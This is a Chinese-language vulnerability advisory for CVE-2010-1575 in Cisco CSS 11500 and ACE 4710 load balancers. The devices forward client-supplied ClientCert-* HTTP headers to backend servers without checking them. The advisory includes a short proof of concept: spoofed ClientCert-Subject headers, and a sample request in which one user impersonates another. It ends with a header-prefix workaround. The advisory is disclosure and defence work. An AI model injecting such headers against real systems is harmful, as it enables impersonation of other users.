发布日期:2010-07-02
更新日期:2010-07-05
受影响系统:
Cisco CSS 11500 08.20.1.01
Cisco ACE 4710 A3(2.5)
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 41315
CVE ID: CVE-2010-1575
Cisco CSS 11500内容服务交换机是用于为数据中心提供强壮可升级网络服务(4-7层)的负载均衡设备。
在使用CSS终止SSL通讯时,首先要认证SSL客户端证书。CSS通常以以下HTTP头的形式将客户端的身份传送给后端的Web服务器:
ClientCert-Subject: XXX
ClientCert-Subject-CN: XXX
ClientCert-Fingerprint: XXX
ClientCert-Subject-CN: XXX
ClientCert-Issuer-CN: XXX
ClientCert-Certificate-Version: XXX
ClientCert-Serial-Number: XXX
ClientCert-Data-Signature-Algorithm: XXX
ClientCert-Subject: XXX
ClientCert-Issuer: XXX
ClientCert-Not-Before: XXX
ClientCert-Not-After: XXX
ClientCert-Public-Key-Algorithm: XXX
ClientCert-RSA-Modulus-Size: XXX
ClientCert-RSA-Modulus: XXX
ClientCert-RSA-Exponent: XXX
ClientCert-X509v3-Subject-Key-Identifier: XXX
ClientCert-X509v3-Authority-Key-Identifier: XXX
ClientCert-Signature-Algorithm: XXX
ClientCert-Signature: XXX
但CSS没有防范客户端提供自己的ClientCert-*头,因此攻击者可以通过伪造证书扮演为其他用户,具体取决于应用开发人员如何处理多个头拷贝。
<*来源:George D. Gal (ggal@vsecurity.com)
链接:?l=bugtraq&m=127808444302943&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
假设后端web应用仅信任CSS在ClientCert-Subject-CN头中所提供的身份,userX希望扮演为userY,则可以在发布给服务器的HTTP请求中注入以下HTTP头:
ClientCert-Subject-CN: CN=userY
或者
ClientCert-Subject: C=US, ST=MA, L=Boston, O=xxx, OU=xxx, CN=userY
应用会接收到以下HTTP请求:
POST /targetapp HTTP/1.1
Content-Type: text/xml; charset=utf-8
ClientCert-Subject: C=US, ST=MA, L=Boston, O=xxx, OU=xxx, CN=userY
ClientCert-Subject-CN: CN=userY
Host: test.vsecurity.com
Content-Length: 1024
ClientCert-Subject: C=US, ST=MA, L=Boston, O=xxx, OU=xxx, CN=userX
ClientCert-Subject-CN: CN=userX
ClientCert-Fingerprint: XXX
ClientCert-Subject-CN: XXX
ClientCert-Issuer-CN: XXX
ClientCert-Certificate-Version: XXX
ClientCert-Serial-Number: XXX
ClientCert-Data-Signature-Algorithm: XXX
ClientCert-Subject: XXX
ClientCert-Issuer: XXX
ClientCert-Not-Before: XXX
ClientCert-Not-After: XXX
ClientCert-Public-Key-Algorithm: XXX
ClientCert-RSA-Modulus-Size: XXX
ClientCert-RSA-Modulus: XXX
ClientCert-RSA-Exponent: XXX
ClientCert-X509v3-Subject-Key-Identifier: XXX
ClientCert-X509v3-Authority-Key-Identifier: XXX
ClientCert-Signature-Algorithm: XXX
ClientCert-Signature: XXX
由于已有的ClientCert-*头未加任何修改,应用开发人员应仅信任最后一个证书头。
建议:
--------------------------------------------------------------------------------
临时解决方法:
* 使用以下命令:
ssl-server <context> http-header prefix "<random_prefix>"
厂商补丁:
Cisco
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: